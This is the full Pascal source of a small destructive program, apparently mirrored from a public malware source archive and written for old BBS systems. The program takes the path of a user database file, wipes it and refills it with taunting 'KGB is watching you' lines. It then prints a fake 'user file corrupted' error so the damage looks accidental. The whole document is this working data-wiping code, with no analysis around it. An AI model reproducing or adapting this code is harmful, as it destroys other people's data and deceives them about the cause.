mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
60 lines
1.4 KiB
ObjectPascal
60 lines
1.4 KiB
ObjectPascal
PROGRAM GDE; {By änchanter for LAME SysOps}
|
|
|
|
USES CRT;
|
|
|
|
VAR Temp : Text;
|
|
X : Integer;
|
|
Death_File : String;
|
|
|
|
{--------------------------------------------------------------------------}
|
|
PROCEDURE NoParams;
|
|
|
|
BEGIN;
|
|
SOUND(220);
|
|
DELAY(200);
|
|
NOSOUND;
|
|
TEXTCOLOR(RED);
|
|
WRITELN('You Forgot Something... ');
|
|
WRITELN;
|
|
WRITELN(' SYNTAX:');
|
|
WRITELN('GDE C:\SHOCK\USERS');
|
|
WRITELN;
|
|
WRITELN('Run AGAIN....');
|
|
WRITELN(' (c) 1990,1991');
|
|
HALT;
|
|
END;
|
|
{--------------------------------------------------------------------------}
|
|
PROCEDURE Kill_That_Fucker;
|
|
|
|
BEGIN;
|
|
ASSIGN(TEMP, Death_File);
|
|
REWRITE(TEMP);
|
|
CLOSE(TEMP);
|
|
APPEND(TEMP);
|
|
WHILE X <> 5 Do
|
|
BEGIN;
|
|
WRITELN(TEMP, 'KGB Read The User File');
|
|
WRITELN(TEMP, 'KGB Wrote The User File');
|
|
X := X + 1;
|
|
END;
|
|
WRITELN(TEMP, '<BOOM, you are dead>');
|
|
WRITELN(TEMP, 'KGB is WATCHING YOU!');
|
|
CLOSE(TEMP);
|
|
END;
|
|
{--------------------------------------------------------------------------}
|
|
PROCEDURE INIT;
|
|
|
|
BEGIN;
|
|
IF PARAMCOUNT <> 1 THEN NoParams;
|
|
Death_File := PARAMSTR(1);
|
|
TEXTCOLOR(BLUE);
|
|
WRITELN('READING USER FILE.......');
|
|
Kill_That_Fucker;
|
|
WRITELN('ERROR, USER FILE CURRUPTED!');
|
|
HALT;
|
|
END;
|
|
{--------------------------------------------------------------------------}
|
|
BEGIN;
|
|
X := 1;
|
|
INIT;
|
|
END. |